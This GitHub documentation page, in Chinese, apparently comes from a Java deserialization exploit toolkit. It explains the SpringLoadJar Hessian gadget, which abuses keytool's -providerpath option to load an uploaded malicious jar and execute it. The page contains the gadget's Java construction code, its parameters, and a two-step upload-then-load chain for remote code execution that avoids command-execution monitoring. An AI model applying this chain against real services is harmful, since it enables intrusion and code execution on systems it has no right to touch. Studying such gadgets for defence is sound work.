Skip to content

Latest commit

 

History

History
61 lines (52 loc) · 4.62 KB

File metadata and controls

61 lines (52 loc) · 4.62 KB

加载目标的jar包进行任意函数调用(SpringLoadJar)

  • 类别:hessian 别名:— 优先级:—
  • 作者:—
  • 依赖org.springframework:spring-context

作用

Spring 系 Hessian 链的尾部(END)执行体变体。同样构造带 MethodInvokingFactoryBeanStaticListableBeanFactory,但把反射目标换成 JDK 自带的 sun.security.tools.keytool.Main.main(String[]),滥用 keytool 的 -providerpath/-provider: 参数从目标本地磁盘上的 jar 加载并实例化任意类。需配合 SpringUpload 先把恶意 jar 写到目标磁盘,实现 RCE。

链接标签

  • 入口 tagsHessianSpringChainsEND —— 承接 nextTags=HessianSpringChains 的 Spring 头部 gadget;END 为链尾。
  • 衔接 nextTags:无(链尾)。
  • excludes:无。

源码剖析

本类仅覆写 makeBean()getObject()/上下文注入逻辑复用基类 SpringLinuxExec

@Override
public Object makeBean() throws Exception {
    MethodInvokingFactoryBean bean = new MethodInvokingFactoryBean();
    bean.setSingleton(false);
    bean.setTargetObject((Object)Runtime.getRuntime());        // targetObject 仅占位,真正调用由 methodObject 决定
    Class<Main> cls = Main.class;                              // sun.security.tools.keytool.Main
    Method method = cls.getMethod("main", String[].class);
    Reflections.setFieldValue(bean, "methodObject", method);   // 反射注入 Main.main
    Reflections.setFieldValue(bean, "beanClassLoader", null);
    Object[] evilargs = new Object[]{new String[]{
        "-LIST", "-provider:", this.evilClass,                 // 让 keytool 用 Provider 机制加载/实例化 evilClass
        "-keystore", "NONE", "-protected", "-debug",
        "-providerpath", this.filepath}};                     // 从该 jar 路径寻找类
    bean.setArguments(evilargs);
    return bean;
}
  • 原理是 keytool Main 处理 -provider:<className> -providerpath <jar> 时,会以该 providerpath 构造 URLClassLoaderClass.forName(evilClass).newInstance() 载入指定 Provider 类——从而执行目标 jar 中该类的静态块/无参构造,达成任意代码执行。
  • -LIST -keystore NONE -protected -debug 只是让 keytool 走到 Provider 加载分支且不因缺少 keystore/口令而提前退出,-debug 便于失败时看栈。
  • evilClass 默认为空——描述指明「默认调用无参构造函数」,即目标类被实例化时其构造逻辑即被触发。
  • 注意 setTargetObject(Runtime.getRuntime()) 在本变体中仅是占位;由于 Main.main 是静态方法,实际反射调用忽略实例。

invoke 与基类相同:context.put(BEAN_NAME_KEY, "beanName123") 后返回 getObject()beanFactory),由头部 gadget getBean("beanName123") 触发。

参数(@Param)

字段 名称 说明 默认 可选值
filepath filepath 目标环境(本地磁盘)上的 jar 路径,作为 -providerpath 1.jar 任意
evilClass evilClass 需初始化的 Provider 类名,默认调用其无参构造 任意
cmd Linux命令 继承自基类,本变体未使用 touch /tmp/success

适用版本与原理要点

  • 仅需 spring-contextsun.security.tools.keytool.Main 为 JDK 内置(JDK 8 可直接反射,JDK 9+ 受模块化限制需目标未加固)。
  • 本身不含载荷:只负责「加载已在目标磁盘上的 jar」,因此需先用 SpringUpload(任意文件写入)把恶意 jar 落到 filepath,再用本链把它 newInstance 起来——两步合成完整 RCE。
  • 与命令执行型 SpringLinuxExec/SpringExec 的区别:这条路径不依赖 Runtime.exec,在禁用/监控命令执行的环境里更隐蔽(走类加载而非进程创建)。
  • 需与提供 toString → getBean 触发的 Spring 头部 gadget 搭配。

所属预设链

自由构件,未直接出现在预设链。典型用法:[SpringAbstractBeanFactoryPointcutAdvisor, SpringUpload] 上传 jar → [SpringAbstractBeanFactoryPointcutAdvisor, SpringLoadJar] 加载执行。

关联